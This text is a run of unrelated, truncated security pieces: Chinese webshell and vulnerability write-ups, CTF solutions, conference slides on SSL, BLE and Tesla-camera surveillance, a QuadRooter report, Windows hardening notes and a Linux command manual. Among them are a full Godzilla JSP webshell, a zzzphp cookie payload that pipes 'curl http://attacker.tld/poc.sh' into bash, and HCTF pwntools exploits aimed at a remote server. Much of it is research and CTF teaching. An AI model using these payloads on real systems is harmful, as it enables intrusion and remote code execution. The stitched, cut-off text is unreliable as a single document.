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Securing Windows Internet Servers 23.org / Covert Systems jon.miller@covertsystems.net Jon Miller Senior Security Engineer Covert Systems, Inc. Always try to use a fresh install and migrate existing data over Make sure to convert to NTFS Default Security Settings are not applied You must apply them manually using MMC Upgrading? Installation Service Packs Always check windows update and TechNet to make sure you have the most current patches and SPs HFNETCHK Installation NTFS or FAT File Systems Always decide what services you require prior to installation Now is the time to decide what form of remote administration software, if any you will use Terminal Server Vshell SSH & SFTP (www.vandyke.com) Services Never install superfluous services COMPAQ INSTALLATION = Services TCP/IP should be the only protocol Use TCP/IP Filtering (and IPSec when applicable) Nmap the server to make sure you dont have any surprise ports open If it is an IIS box it can NEVER be on a domain Use second Ethernet card for remote admin and have only the Internet Service on the primary interface Network Configuration Customize your own security template and use it Establish standards within your template that apply to all servers from PDCs to desktops Using the MMC Password Complexity / Length Event Log Access  Always remember passwords so they cannot be reused Define Permissions for Services Rename Administrator Account Security Configuration Delete or rename files that may be used against you in the event of an attack Create partitions or move directory structure to protect against directory transversal  Do you really use MS TFTP? Remove OWA Do you really want an IIS server running on your companies Mail server?  Rename CMD.exe Microsoft Security Alerts microsoft.com/technet/security/notify.asp Common Sense IIS 4 / 5 Try to run only base services The services below are the only services required to run a functional IIS server: Event Log License Logging Service Windows NTLM Security Support Provid


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写了好久的文章放出来吧 前言 注入内存马借助当前的webshell工具而言冰蝎可以通过创建hashmap放入requestresponse session替换pagecontext来解决 HttpSession session = lastRequest.getSession(); pageContext.put("request", lastRequest); pageContext.put("response", lastResponse); pageContext.put("session", session); 能这么写的原因是因为冰蝎做了处理 会从传入的obj中分别取到requestresponsesession 而哥斯拉没有这么做如何破局 哥斯拉连接分析 哥斯拉是基于动态加载class字节码实现的webshell工具 先看一下jsp的shell <%! String xc = "3c6e0b8a9c15224a"; String pass = "pass"; String md5 = md5(pass + xc); class X extends ClassLoader { public X(ClassLoader z) { super(z); } public Class Q(byte[] cb) { return super.defineClass(cb, 0, cb.length); } } ....省略加密解密的函数.... %> <% try { byte[] data = base64Decode(request.getParameter(pass)); data = x(data, false); if (session.getAttribute("payload") == null) { session.setAttribute("payload", new X(this.getClass().getClassLoader()).Q(data)); } else { request.setAttribute("parameters", data); java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream(); Object f=((Class)session.getAttribute("payload")).newInstance(); f.equals(arrOut); f.equals(pageContext); response.getWriter().write(md5.substring(0, 16)); f.toString(); response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true))); response.getWriter().write(md5.substring(16)); } } catch (Exception e) { } %> 先判断session中payload是否为空如果为空就用classloader加载解密之后的字节码data 如果不为空将data赋值到session的parameters参数然后从session中拿到定义的payload类创 建实例再进行了两次equals和一次tostring两次equals分别传入ByteArrayOutputStream和 pageContext 通过bp代理看一下测试连接的过程 点完测试连接后bp多了两个请求 再点success的确定按钮后又多了一个请求 一共三个请求这三个请求分别干了什么 为了调试我们需要反编译哥斯拉源码找到 godzilla\shells\payloads\java\assets\payload.classs 文件反编译回来后在idea项目中创建一 个payload类将源码粘贴进去另外还需要关闭idea的自动tostring 然后修改jsp让其加载我们自己的payload.class而非从session中加载 <% try { byte[] data = base64Decode(request.getParameter(pass)); data = x(data, false); if (session.getAttribute("payload") == null) { session.setAttribute("payload", new X(this.getClass().getClassLoader()).Q(data)); } else { request.setAttribute("parameters", data)


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Todays Session ! Design failures in embedded systems ! Examples of design failures ! Exploiting a design failure ! Software vulnerabilities in embedded systems ! Examples software vulnerabilities ! Exploiting a common embedded system Design failures ! Undocumented functionality ! Developer backdoors ! Auto-something features ! Legacy functions ! Ignored standards ! Uncontrolled increase of complexity ! New subsystems ! Additional access methods ! Inconsistent access restrictions Design failures Case 1: Lucent Brick ! Layer 2 Firewall running Inferno OS ! ARP cache design failures ! ARP cache does not time out ! ARP reply poisoning of firewall ! ARP forwarded regardless of firewall rules LSMS Management Server DMZ ARP reply with LSMS IP Design failures Case 2: Ascend Router ! Undocumented discovery protocol ! Special packet format to UDP discard port ! Leaks information remotely ! IP address/Netmask ! MAC address ! Serial number ! Device type ! Features ! Can set IP address using SNMP write community Exploiting a design failure: Exploiting a design failure: HP Printers HP Printers ! Various access methods: ! Telnet,HTTP,FTP,SNMP,PJL ! Various access restrictions ! Admin password on HTTP and Telnet ! IP access restriction on FTP, PJL, Telnet ! PJL security password ! Inconsistent access restriction interworkings ! SNMP read reveals admin password in hex at .iso.3.6.1.4.1.11.2.3.9.4.2.1.3.9.1.1.0 ! HTTP interface can be used to disable other restrictions (username: laserjet) HP Printers: PJL ! PJL (Port 9100) allows access to printer configuration ! Number of copies, size, etc. ! Locking panel ! Input and output trays ! Eco mode and Power save ! I/O Buffer ! Security relies on PJL password ! key space of 65535. ! max. 6 hours for remote brute force HP Printers: PJL ! PJL (Port 9100) allows access to printer file systems on DRAM and FLASH ! Spool directory contains jobs ! PCL macros on printer ! More file system content (later models) ! Firmware ! Web server content ! S


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DEF CON 19: Getting SSLizzard Nicholas J. Percoco  Trustwave SpiderLabs Paul Kehrer  Trustwave SSL Copyright Trustwave 2011 Agenda  Introductions  Primer / History: SSL and MITM Attacks  Mobile SSL User Experience  Research Motivations  Research Implications  Data Transmission Assault Course Components  Introducing SSLizzard  Mobile App Test Results  Conclusions Copyright Trustwave 2011 Introductions Who are we? Nicholas J. Percoco (c7five)  Head of SpiderLabs at Trustwave  Started my InfoSec career in the 90s Paul Kehrer (reaperhulk)  Lead SSL Developer at Trustwave  Enjoys baking cakes in spare time. Copyright Trustwave 2011 Introductions Whats this talk about?  De-evolution of User Security Experience (in Mobile Devices)  History and Types of SSL Attacks  Lack of Testing Tools for Mobile Applications  How Various App and Devices Perform Under SSL Stress  A Tool Release to Help Solve this Problem Copyright Trustwave 2011 Primer / History: SSL and MITM Attacks What is SSL?  Stands for Secure Sockets Layer  Developed by Netscape in 1994  Implemented in Netscape Navigator 1.0  A protocol to secure a client->server data transmission  Uses Asymmetric Keys to establish a Symmetric Key  This happens during a handshake before actual data is transmitted Copyright Trustwave 2011 Primer / History: SSL and MITM Attacks  Where is SSL (certs) Used?  To Establish Secure Client to Server Communication  Client Identity (User Authentication)  Application Signing  Log File Integrity Copyright Trustwave 2011 Primer / History: SSL and MITM Attacks  How is SSL used in Mobile Devices?  To Secure Communication Over Public Networks  To Establish App to Server Communication  App Code Signing (Android, IOS, BlackBerryOS)  Mobile Device Management Profiles (Signed) Copyright Trustwave 2011 Primer / History: SSL and MITM Attacks  What is a Man-in-the-Middle Attack?  Injecting an Attacker between a Client and a Server Session.  Attacker intercepts Client request to Server  Attacker established


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某运维审计系统任意件写漏洞挖掘过程 分享下最近挖掘漏洞的些段 临近实习有有佬收实习弟端茶倒样样精通 标系统如下: 是个安全审计系统根据主的关键词在络安全产品全中进查询得知标系统开发商为州某科 `络安全产品全`:https://t.wangan.com/c/products.html 同时通过搜索引擎查到了些历史漏洞 本以为可以直接拉出payload出来打呢但是看了下前所遇到的系统版本为3.*最新版乌云所存储的时间居然是2011年 这明显对不上了且新版使的mvc模式直接略过 既然没有可利的公开漏洞那么只有挖掘漏洞了还是法通过fofa采集了波相同程序的站点准备探测下弱令 进去挖些未授权的漏洞 测了个站点都没有个成功的卒 因为这类系统般都是采的iso镜像件或者安装包既然知晓了开发商以及产品版本号那么可以直接去找下镜像或者安装 包脱取源码进审计 百度云件搜索引擎:https://www.lingfengyun.com/ 根据筛选发现了某户在19年分享过这类系统的操作档将其下载下来发现档中包含了openstack以及docker的安装法 由于openstack需要环境本机没有配置所以这我简单看了看docker的安装法 docker pull 的是个私有仓库但是这可以注意下docker在push的时候般是以户名/镜像名般在知道户名的情况下 可以尝试去搜索些镜像在安装档中pull的地址为*nsec.com 尝试使docker search xxxnsec 搜索 这有两个镜像个是geteway,个是web firewall但是当我尝试下载的时候 去dockerhub上看了下 并没有内容应该是被清空了可惜啊 既然分享过操作档肯定会有安装包 直接切该户的详细信息并且筛选zip,rar等压缩件最终以确定个结尾为V3.7的zip压缩包 将其下载到本地解压出来为iso镜像件 开始Vmware搭建环境 根据相关提示,开始安装程序 安装完过后,提示输账户和密码 由于解压出来的件并没有安装档在历史分享中也并没有找到类似件盲测了个弱令发现都不 这想到了忍者师傅前段时间发过篇章也是在不知道标主机账户密码的情况下读取系统件 在本地新建了个centos7系统添加块现有虚拟磁盘磁盘件选择运维审计系统的vmdk件 开启centos7系统查看硬盘以及分区信息 1 sudo fdisk -l 可以看到这多了个sdb2这就是刚刚添加的现有虚拟磁盘也就是运维审计系统的磁盘 将其挂载 因为标程序是使php开发的这直接find查找下 找到对应路径 直接tar 打包整个件夹拖出来源码到 开始审计 由于是MVC模式直接找Controller 在indexController下发现某法存在调file_put_centents()函数 且参数可控并且在第三调了file_put_centents可造成任意件写 cert为内容username由于是在末尾拼接可以直接../跨录 准备写个phpinfo进去测试下可执性 发现写的件内容被替换了经过系列测试发现只要出现<>; '"就会在该字符前加个\ 由于\的写导致php代码语法错误不能被执这想到了php的特性 链接https://blog.csdn.net/chengjianghao/article/details/100078052 加结尾的之后的内容视为 纯本直接输出直到再次碰到 <? 或 <?php 不加的之后的内容视为 PHP 代码除没有代码了 不加结尾并不影响php代码的执如果传<?php phpinfo(); 那么最终格式为 \<?php phpinfo()\;  这的;最终也被替换了导致语句还是法正常执这请教了群的师傅 在1师傅的指导下获得了最终的payload: <?php if(expr) 在php中 if是以{}作为结尾 同理使while也是可以的


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2016 Check Point Softw are Technologies Ltd. All rights reserved | P. 1 INTRODUCTION The cloak-and-dagger of cybercrime makes for entertaining theater. Thats especially true for sensational breaches often caused by malware or other sophisticated attacks. Behind the drama though are some inherent vulnerabilities making these attacks possible. A myriad of device models, operating system versions, and unique software modifications makes handling Android vulnerabilities a challenge. The earlier these vulnerabilities are born in the supply chain, the more difficult they are to fix. Fixes require mind-bending coordination between suppliers, manufacturers, carriers and users before patches make it from the drawing board to installation. The fragmented world of Android leaves many users exposed to risk, even with out-of-the-box devices. In this report, the research team details four newly-discovered vulnerabilities affecting over 900 million Android smartphones and tablets. If exploited, each of these can give attackers complete control of devices and access to sensitive personal and enterprise data on them. QUADROOTER QuadRooter is a set of four vulnerabilities affecting Android devices built on Qualcomm chipsets. The worlds leading designer of LTE chipsets, Qualcomm owns a 65% share of the LTE modem baseband market.1 1 ABI Research: https://www.abiresearch.com/press/abi-research-reports-qualcomm-maintains-clear-lead/ QUADROOTER NEW VULNERABILITIES AFFECTING OVER 900 MILLION ANDROID DEVICES by the Check Point Research Team 2016 Check Point Software Technologies Ltd. All rights reserved. | 2 WHAT IS ROOTING? Rooting enables administrative control of a device and allows apps to run privileged commands not usually available on factory-configured devices. An attacker can use these commands to perform operations like changing or removing system-level files, deleting or adding apps, as well as accessing hardware on the device, including the touchscreen, camera, microphone, and o


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## Crypto 300 (crypto, 300p) ### PL [ENG](#eng-version) Bardzo ciekawe zadanie dla nas, musieliśmy sporo z nim powalczyć, ale w końcu udało się rozwiązać zagadkę szyfru. Otóż dostajemy taki szyfr: 320b1c5900180a034c74441819004557415b0e0d1a316918011845524147384f5700264f48091e45 00110e41030d1203460b1d0752150411541b455741520544111d0000131e0159110f0c16451b0f1c 4a74120a170d460e13001e120a1106431e0c1c0a0a1017135a4e381b16530f330006411953664334 593654114e114c09532f271c490630110e0b0b Oraz kod którym go zaszyfrowano (w wersji przepisanej przez nas do pythona, nie jesteśmy fanami PHP): def encrypt(plainText): space = 10 cipherText = "" for i in range(len(plainText)): if i + space < len(plainText) - 1: cipherText += chr(ord(plainText[i])  ord(plainText[i + space])) else: cipherText += chr(ord(plainText[i])  ord(plainText[space])) if ord(plainText[i]) % 2 == 0: space += 1 else: space -= 1 return cipherText Bardzo komplikuje wszystko ta ruszająca się space. Ale jej stan zależy tylko od najniższego bitu, co wykorzystaliśmy przy rozwiązywaniu zadania. Rozwiązywaliśmy je w dwóch częściach - najpierw odzyskaliśmy najniższe bity plaintextu, a później dopiero całe hasło. Pierwsza próba złamania najniższych bitów wyglądała tak: def verify(cipherText, guessedBits): space = 10 for i in range(len(guessedBits)): if i + space < len(cipherText) - 1: if i + space >= len(guessedBits): return True if (ord(cipherText[i]) & 1) != ((ord(guessedBits[i]) & 1)  (ord(guessedBits[i + space]) & 1)): return False else: if space >= len(guessedBits): return True if (ord(cipherText[i]) & 1) != ((ord(guessedBits[i]) & 1)  (ord(guessedBits[space]) & 1)): return False if guessedBits[i] == '0': space += 1 else: space -= 1 return True def decrypt(cipherText, guessedBits, i): if i >= len(cipherText): print 'ok:', guessedBits return if len(guessedBits) == 10: print (int(guessedBits, 2) / 1024.0) * 100, '%' if verify(cipherText, guessedBits): decrypt(cipherText, guessedBits + '0', i + 1) decrypt(cipherText, guessedBi


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POC分析 分析POC可得到以下信息 1. 漏洞点由Cookie触发Cookie值为 keys 2. Payload像是一个if标签猜测可能为模板注入 3. 请求参数为 ?location=search猜测可能是个路由 漏洞分析 复现环境为zzzphp v2.0.3 从 /index.php 找起跟踪到 inc/zzz_client.php 搜索 location 关键字接着找到这么一段代 码 查看模板文件 /template/pc/cn2016/html/search.html 发现了Poc中的 keys curl -b 'keys={if:=`curl http://attacker.tld/poc.sh|bash`}{end if}' 'http://target.tld/?location=search' 1 //只要get传递了locationgetlocation()就返回$_GET['location'] $location=getlocation(); switch ($location) { ...... case 'search': //设置路径 //TPL_DIR = /template/pc/cn2016/html $tplfile= TPL_DIR . 'search.html'; break; ...... } ..... //对$tplfile进行file_get_contents() //$zcontent为模板内容 $zcontent = load_file($tplfile,$location); $parser = new ParserTemplate(); //解析模板 $zcontent = $parser->parserCommom($zcontent); echo $zcontent; 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 ...... <title>关键词{zzz:keys}搜索结果-{zzz:sitetitle}</title> ...... 1 2 3 跟进 parserCommom() 方法该方法会进行标签解析不过在这个漏洞中仅需关注 parserlocation() 和 parserIfLabel() 即可可以注意下 parserIfLabel() 的调用在 parserlocation() 之后这个调用顺序是该漏洞的成因之一  首先分析 parserlocation() 方法该方法又调用了 parserSearch() 方法关键代码如下 public function parserCommom( $zcontent ) { $zcontent = $this->parserSiteLabel( $zcontent ); // 站点标签 $zcontent = $this->ParseInTemplate( $zcontent ); // 模板标签 $zcontent = $this->parserConfigLabel( $zcontent ); //配置表情 $zcontent = $this->parserSiteLabel( $zcontent ); // 站点标签 $zcontent = $this->parserNavLabel( $zcontent ); // 导航标签 $zcontent = $this->parserCompanyLabel( $zcontent ); // 公司标签 $zcontent = $this->parserUser( $zcontent ); //会员信息 //parserlocation() $zcontent = $this->parserlocation( $zcontent ); // 站点标签 $zcontent = $this->parserLoopLabel( $zcontent ); // 循环标签 $zcontent = $this->parserContentLoop( $zcontent ); // 指定内容 $zcontent = $this->parserbrandloop( $zcontent ); $zcontent = $this->parserGbookList( $zcontent ); $zcontent = $this->parserLabel( $zcontent ); // 指定内容 $zcontent = $this->parserPicsLoop( $zcontent ); // 内容多图 $zcontent = $this->parserad( $zcontent ); $zcontent = parserPlug


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# Finally - home! (5/5) Category: Innovation ## Description > https://s3.us-west-2.amazonaws.com/cyber-ctf.be/chl5/9f2d4057-618a-4016-a854-e6ed23d30b21.html ## Solution We visit the attached website and get a form titled "Ready to Land?": ```html <form id="form"> <div class="form__group field"> <input type="input" class="form__field" placeholder="Answer" name="answer" id='answer' required /> <label for="answer" class="form__label">Answer</label> </div> </form> ``` Behind the scenes, the logic is handled by a WebAssembly script: ```javascript const memory = new WebAssembly.Memory({ initial: 256, maximum: 256 }); const importObj = { env: { abortStackOverflow: () => { throw new Error('overflow'); }, table: new WebAssembly.Table({ initial: 0, maximum: 0, element: 'anyfunc' }), __table_base: 0, memory: memory, __memory_base: 1024, STACKTOP: 0, STACK_MAX: memory.buffer.byteLength, } }; document.getElementById('form').addEventListener('submit', function(e) { e.preventDefault(); (async () => { const buff = new Uint8Array([ 221, 188, 174, 176, 220, 221, 221, 221, 220, 245, 223, 189, 220, 162, 221, 189, 194, 162, 162, 162, 162, 162, 162, 162, 162, 162, 162, 162, 162, 162, 162, 162, 162, 162, 162, 162, 162, 162, 162, 162, 162, 162, 162, 162, 162, 162, 162, 162, 220, 162, 223, 190, 216, 222, 184, 179, 171, 207, 188, 191, 178, 175, 169, 142, 169, 188, 190, 182, 146, 171, 184, 175, 187, 177, 178, 170, 221, 221, 222, 184, 179, 171, 208, 130, 130, 176, 184, 176, 178, 175, 164, 130, 191, 188, 174, 184, 222, 162, 221, 222, 184, 179, 171, 209, 130, 130, 169, 188, 191, 177, 184, 130, 191, 188, 174, 184, 222, 162, 221, 222, 184, 179, 171, 219, 176, 184, 176, 178, 175, 164, 223, 220, 93, 223, 93, 223, 222, 184, 179, 171, 216, 169, 188, 191, 177, 184, 220, 173, 220, 221, 221, 222, 223, 220, 220, 219, 202, 222, 162, 220, 156, 125, 205, 214, 162, 220, 156, 125, 77, 29, 223, 214, 160, 220, 158, 221, 221, 221, 221, 214, 218, 213, 220, 217, 130, 171, 184, 175, 221, 220, 215, 59, 199, 220, 62,


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Truman Kain TEVORA Your Lookout on Autopilot Surveillance Detection TL;DR Autopilot cameras are good for a lot more than driving. So are Teslas. Why Tesla? Three Cameras Built In* Detailed Vehicle/Owner API Sentry Mode (Always On) In-Car Web Browser Surveillance Detection Scout Real-Time License Plate Recognition Real-Time Familiar Face Detection Recon/Pattern of Life Querying Open-Source & Locally Deployed Real-Time Defined Inference starts as soon as an mp4 hits disk* Counter-Surveillance Scenarios While Parked: Which cars/people are loitering near my house/car? During Your Drive: How long has that car been behind me? Have I seen that car before? Recon Query Scenarios Tailgating: What time does my target arrive/leave the office? Lockpicking: How often does security make rounds? At what hours is the building empty? Web Stack Vue.js Express CV Stack Hardware Options Pi Zero W $10 Pi 4B (4GB RAM) $55 Jetson Nano $100 Jetson Xavier $700 Hardware Benchmarks Pi Zero W 0 8 15 23 30 Average Inference FPS Pi 4B/G Jetson Nano Jetson Xavier DEMO Whats Next? Remote Live* View 3rd Party Dashcams Gait Recognition More Object Detection [Your Request Here] Privacy Implications Amount of actionable surveillance data will skyrocket Private corporations and governments want it Breaches will expose it (Of the self-driving future) Truman Kain TEVORA Your Lookout on Autopilot Thank you! threat.tevora.com/scout


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# electron 远程命令执行漏洞CVE-2018-1000006 Electron是由Github开发用HTMLCSS和JavaScript来构建跨平台桌面应用程序的一个开源库 Electron通过将Chromium和Node.js合并到同一个运行时环境中并将其打包为MacWindows和Linux系统下的应用来实现这一目的 在Windows下如果Electron开发的应用注册了Protocol Handler允许用户在浏览器中召起该应用则可能出现一个参数注入漏洞并最终导致在用户侧执行任意命令 参考链接[Electron < v1.8.2-beta.4 远程命令执行漏洞CVE-2018-1000006](https://xianzhi.aliyun.com/forum/topic/1990) ## 编译APP 执行如下命令编译一个包含漏洞的应用 ``` docker compose run -e ARCH=64 --rm electron ``` 上述命令中因为软件需要在Windows平台上运行所以需要设置ARCH的值为平台的位数32或64 编译完成后再执行如下命令启动web服务 ``` docker compose run --rm -p 8080:80 web ``` 此时访问`http://your-ip:8080/`即可看到POC页面 ## 复现漏洞 首先在POC页面点击第一个链接下载编译好的软件`vulhub-app.tar.gz`下载完成后解压并运行一次 ![](1.png) 这一次将注册Protocol Handler 然后再回到POC页面点击第二个链接将会弹出目标软件和计算器 ![](2.png) > 如果没有成功可能是浏览器原因经测试新版Chrome浏览器点击POC时会召起vulhub-app但不会触发该漏洞


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# shark on wire 2 Forensics, 300 points ## Description: > We found this packet capture. Recover the flag that was pilfered from the network. ## Solution: This is the follow-up of [shark on wire 1](shark_on_wire_1.md). Again, we receive a capture file: ```console root@kali:/media/sf_CTFs/pico/shark_on_wire_2# tshark -r capture.pcap | head Running as user "root" and group "root". This could be dangerous. 1 0.000000 fe80::20c:29ff:fef7:6ad  ff02::fb MDNS 180 Standard query 0x0000 PTR _nfs._tcp.local, "QM" question PTR _ftp._tcp.local, "QM" question PTR _webdav._tcp.local, "QM" question PTR _webdavs._tcp.local, "QM" question PTR _sftp-ssh._tcp.local, "QM" question PTR _smb._tcp.local, "QM" question PTR _afpovertcp._tcp.local, "QM" question 5353 5353 2 0.000494 10.0.0.6  224.0.0.251 MDNS 160 Standard query 0x0000 PTR _nfs._tcp.local, "QM" question PTR _ftp._tcp.local, "QM" question PTR _webdav._tcp.local, "QM" question PTR _webdavs._tcp.local, "QM" question PTR _sftp-ssh._tcp.local, "QM" question PTR _smb._tcp.local, "QM" question PTR _afpovertcp._tcp.local, "QM" question 5353 5353 3 11.996569 fe80::5ca9:605:a9be:272d  ff02::fb MDNS 180 Standard query 0x0000 PTR _ftp._tcp.local, "QM" question PTR _nfs._tcp.local, "QM" question PTR _afpovertcp._tcp.local, "QM" question PTR _smb._tcp.local, "QM" question PTR _sftp-ssh._tcp.local, "QM" question PTR _webdavs._tcp.local, "QM" question PTR _webdav._tcp.local, "QM" question 5353 5353 4 11.996897 10.0.0.5  224.0.0.251 MDNS 160 Standard query 0x0000 PTR _ftp._tcp.local, "QM" question PTR _nfs._tcp.local, "QM" question PTR _afpovertcp._tcp.local, "QM" question PTR _smb._tcp.local, "QM" question PTR _sftp-ssh._tcp.local, "QM" question PTR _webdavs._tcp.local, "QM" question PTR _webdav._tcp.local, "QM" question 5353 5353 5 16.004668 fe80::20c:29ff:fef7:6ad  ff02::fb MDNS 180 Standard query 0x0000 PTR _nfs._tcp.local, "QM" question PTR _ftp._tcp.local, "QM" question PTR _webdav._tcp.local, "QM" question PTR _webdavs._tcp.local, "QM"


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# Episode 3: Challenge 2 ## Description > You got in, but can you get out? Better run fast. socat FILE:`tty`,raw,echo=0 TCP:shell-sprinter.h4ck.ctfcompetition.com:1337 (Shift+Q to quit) > > Hint: If you ain't cheating, you ain't trying ## Solution Let's connect to the server: ```console ####################################################### \ You wake up in an unfamiliar place. Or rather, it \ \ seems familiar but somehow... not. Like a place \ \ youve visited a thousand times but now rendered in \ \ a dream. Youre in a dark corridor, your small orb \ \ of light illuminates only the faded green linoleum \ \ that drops away into blackness. You check your \ \ pockets. Nothing. Youre alone. \ \ \ \ \ \ You begin to walk, only to encounter... a blank \ \ wall. The smooth, cream facade blocks your way \ \ abruptly. You follow it, skirting the wall closely \ \ and discover a fork in the corridor. Ok. This is a \ \ maze. As you pause to take stock you hear the \ \ knocking of even footsteps. Theyre growing closer. \ \ The sound is innocuous, but you feel a surge of \ \ panic. It starts in the back of your head and \ \ washes over you in a hot wave. Youre not sure how, \ \ but you know it is time to leave. On an instinctual \ \ level, you know. Its time to escape... \ \ \ \ \ ####################################################### ``` It's actually a fairly fun ASCII-based game: ``` \\ @scape_986e080b ]=~~-############################### \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ -------------- \ \ |........|...| \ \ |@..|....|...| \ \ |...|........| \ \ |....@...|...| \ Energy Level: Fine \ ---------|...| \ \ |...---O |---=---- \ )=[Inventory]=~-------- \ |............ |.......| \ 1. Datakey [trs80] \ ----..--- ------.....x.| \ 2. \ |............|.......| \ 3. \ |....-----...O.......O \ 4. \ |............|.......| \ 5. \ -------------|.......| \ 6. \ |.......---------\ 7. \ |................\ 8. ####################################################### ``` We can go on and on, but the i


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HCTF 2018 HCTF 2018 PWN the end babyprintf_ver2 easyexp christmas Reverse LuckyStar Seven PolishDuck Web kzone admin bottle | open | working: hide and seek Game | solved | working: Crypto xor game rsa?xor BlockChain Re:Ethereum from zero ez2win MISC freq game eazy dump Diﬃcult programming language Guess My Key https://hctf.io/#/ 119 20:00 - 1111 20:00 PWN the end from pwn import * #context.aslr = False context.log_level = 'debug' def pwn(p): p.recvuntil('here is a gift ') libc_base = int(p.recvuntil(',', drop=True), 16) - 0x0CC230 babyprintf_ver2 stdout_vtable = libc_base + 0x3c56f8 fake_io_jump = 0x3c3fb0 + libc_base remote_addr = libc_base + 0x3c4008 one_gadget = libc_base + 0x4526a one_gadget = libc_base + 0xF02B0 log.success('libc: {}'.format(hex(libc_base))) log.success('stdout_vtable: {}'.format(hex(stdout_vtable))) log.success('fake_io_jump: {}'.format(hex(fake_io_jump))) log.success('remote_addr: {}'.format(hex(remote_addr))) log.success('one_gadget: {}'.format(hex(one_gadget))) #0x3c5c58 payload = p64(stdout_vtable) payload += p64(fake_io_jump)[0] payload += p64(stdout_vtable + 1) payload += p64(fake_io_jump)[1] payload += p64(remote_addr) payload += p64(one_gadget)[0] payload += p64(remote_addr + 1) payload += p64(one_gadget)[1] payload += p64(remote_addr + 2) payload += p64(one_gadget)[2] #gdb.attach(p) p.send(payload) p.interactive() if __name__ == '__main__': p = remote('150.109.44.250', 20002) p.recvuntil('Input your token:') p.sendline('RVZhvB2OtdydtHAaHxdEeRcFzZlKIC9U') #p = process('./the_end') #p.interactive() pwn(p) from pwn import * context.log_level = 'debug' context.aslr = False def pwn(p): p.recvuntil('So I change the buffer location to ') program_base = int(p.recvuntil('\n', drop=True), 16) - 0x202010 log.success('program_base: {}'.format(hex(program_base))) p.sendline('%a') p.recvuntil('0x0.0') libc_base = int(p.recvuntil('p', drop=True), 16) - 0x50e8 log.success('libc_base: {}'.format(hex(libc_base))) p.sendline('%100000cb') p.recvuntil('b'


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YOU'D BETTER SECURE YOUR YOU'D BETTER SECURE YOUR BLE DEVICES OR WE'LL KICK BLE DEVICES OR WE'LL KICK YOUR BUTTS ! YOUR BUTTS ! @virtualabs | DEFCON 26 WHO AM I ? WHO AM I ? Head of R&D @ Econocom Digital Security Studying Bluetooth Low Energy for 3 years Developer & maintainer of BtleJuice Having fun with Nordic's nRF51822  AGENDA AGENDA BLE sniﬀing 101 Improving the BLE arsenal Sniﬀing BLE connections in 2018 Introducing BtleJack, a flexible sniﬀing tool BtleJacking: a brand new attack How it works Vulnerable devices & demos Recommendations BLE SNIFFING 101 BLE SNIFFING 101 MUCH CHEAP TOOLS, MUCH CHEAP TOOLS, (NOT) WOW RESULTS (NOT) WOW RESULTS Sniﬀing existing/new connections with an Ubertooth One Sniﬀing new connections with an Adafruit's Bluefruit LE Sniﬀer Sniﬀing BLE packets with gnuradio Sniﬀs existing and new connections Does not support channel map updates Costs $120 UBERTOOTH ONE UBERTOOTH ONE Up-to-date soware (Nov. 2017) Proprietary firmware from Nordic Semiconductor Sniﬀs only new connections Costs $30 - $40 BLUEFRUIT LE SNIFFER BLUEFRUIT LE SNIFFER Sniﬀs only BLE advertisements Unable to follow any existing/new connection Latency Requires 2.4GHz compatible SDR device SOFTWARE DEFINED RADIO SOFTWARE DEFINED RADIO BLE SNIFFING 101 BLE SNIFFING 101 BLE is designed to make sniﬀing diﬀicult: 3 separate advertising channels Uses Frequency Hopping Spread Spectrum (FHSS) Master or slave can renegotiate some parameters at any time Sniﬀing BLE connections is either hard or expensive MAN IN THE MIDDLE MAN IN THE MIDDLE HOW BLE MITM WORKS HOW BLE MITM WORKS Discover the target device (advertisement data, services & characteristics) Connect to this target device, it is not advertising anymore (connected state) Advertise the same device, await connections and forward data BTLEJUICE BTLEJUICE https://github.com/DigitalSecurity/btlejuice GATTACKER GATTACKER https://github.com/securing/gattacker Pros: Get rid of the 3 advertising channels issue You see every BLE opera


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sync === 用于强制被改变的内容立刻写入磁盘 ## 补充说明 **sync命令** 用于强制被改变的内容立刻写入磁盘更新超块信息 在Linux/Unix系统中在文件或数据处理过程中一般先放到内存缓冲区中等到适当的时候再写入磁盘以提高系统的运行效率sync命令则可用来强制将内存缓冲区中的数据立即写入磁盘中用户通常不需执行sync命令系统会自动执行update或bdflush操作将缓冲区的数据写 入磁盘只有在update或bdflush无法执行或用户需要非正常关机时才需手动执行sync命令 ### 语法 ```shell sync(选项) ``` ### 选项 ```shell -d, --data 只同步文件数据不同步不必要的元数据 -f, --file-system 同步包含这些文件的文件系统 --help显示帮助 --version显示版本信息 ``` ### buffer与cache * buffer为了解决写磁盘的效率 * cache为了解决读磁盘的效率 linux系统为了提高读写磁盘的效率会先将数据放在一块buffer中在写磁盘时并不是立即将数据写到磁盘中而是先写入这块buffer中了此时如果重启系统就可能造成数据丢失 sync命令用来flush文件系统buffer这样数据才会真正的写到磁盘中并且buffer才能够释放出来flush就是用来清空buffersync命令会强制将数据写入磁盘中并释放该数据对应的buffer所以常常会在写磁盘后输入sync命令来将数据真正的写入磁盘 如果不去手动的输入sync命令来真正的去写磁盘linux系统也会周期性的去sync数据


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# Preflag Pwn, 10 points ## Description > LFI is Local flag inclusion ## Solution We enter the attached website and are presented with a short form: ```html <html> <head> <title>Preflag</title> </head> <body> <form action="gcc" method="POST" enctype="multipart/form-data"> <input type="file" name="inputFile"/> <button type="submit">Send</button> </form> </body> </html> ``` Uploading different formats, we are receive an error message from the server. However, the form name (`gcc`) hints that we should be uploading a `C` file. Let's try it out: ```c #include <stdio.h> int main() { printf("Hello, World!"); return 0; } ``` As a result, we receive a file from the server: ```console root@kali:/media/sf_CTFs/kaf/Preflag# file compiled compiled: ELF 64-bit LSB pie executable x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=25c27c0449db49918b6a5d6655018af834a8e80f, not stripped root@kali:/media/sf_CTFs/kaf/Preflag# strings compiled | grep Hello Hello, World! ``` The server has compiled the source file and provided us with the result. This means that we can `#include` local files and hope to see the result in the compiled binary. Let's try different file names using the new [__has_include](https://gcc.gnu.org/onlinedocs/cpp/_005f_005fhas_005finclude.html) preprocessor operator. This way, we can supply multiple file names in the same attempt without failing compilation if any of them are missing: ```c char* marker = "##MARKER##"; char* file = __FILE__; #if __has_include("flag.txt") char* __flag_txt = "__flag.txt__"; #include "flag.txt" #endif #if __has_include("flag") char* __flag = "__flag__"; #include "flag" #endif #if __has_include("/flag.txt") char* __flag_txt2 = "__/flag.txt__"; #include "/flag.txt" #endif #if 